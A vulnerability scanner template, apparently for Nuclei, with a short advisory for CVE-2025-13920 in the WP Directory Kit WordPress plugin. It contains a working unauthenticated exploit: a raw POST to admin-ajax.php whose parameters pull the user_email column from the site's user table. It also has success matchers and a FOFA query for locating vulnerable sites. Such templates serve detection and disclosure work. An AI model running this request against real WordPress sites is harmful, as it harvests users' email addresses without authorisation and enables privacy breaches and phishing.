WP Directory Kit plugin for WordPress <= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.
PoC
id: CVE-2025-13920
info:
name: WP Directory Kit < 1.5.0 - Unauthenticated Email Exposure
author: 0x_Akoko
severity: medium
description: |
WP Directory Kit plugin for WordPress <= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.
impact: |
Unauthenticated attackers can extract email addresses of users with specific roles, leading to privacy breaches.
remediation: |
Update to the latest version beyond 1.4.9.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/8905dcc7-d3c8-4ae8-818c-df3e6ed2ad9c
- https://nvd.nist.gov/vuln/detail/CVE-2025-13920
- https://wordpress.org/plugins/wpdirectorykit/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.2
cve-id: CVE-2025-13920
epss-score: 0.00684
epss-percentile: 0.50863
cwe-id: CWE-862
metadata:
verified: true
max-request: 1
vendor: wpdirectorykit
product: wpdirectorykit
fofa-query: body="/wp-content/plugins/wpdirectorykit/"
tags: cve,cve2025,wordpress,wp-plugin,wpdirectorykit,exposure,unauth,vkev
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wdk_public_action&page=wdk_frontendajax&function=select_2_ajax&table=user_m&print_column=user_email&key_column=ID
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "\"success\":true", "\"text\"", "@")'
condition: and
# digest: 4a0a0047304502200e6a1311fb1731d4106076ff490cf4591d91d06b691b1e9e91e35ad01e1c3e99022100ccf2805ede3d0543385da982a656e2cfd0e83bb48b0ce365851b6010aede4b80:922c64590222798bb761d5b6d8e72950
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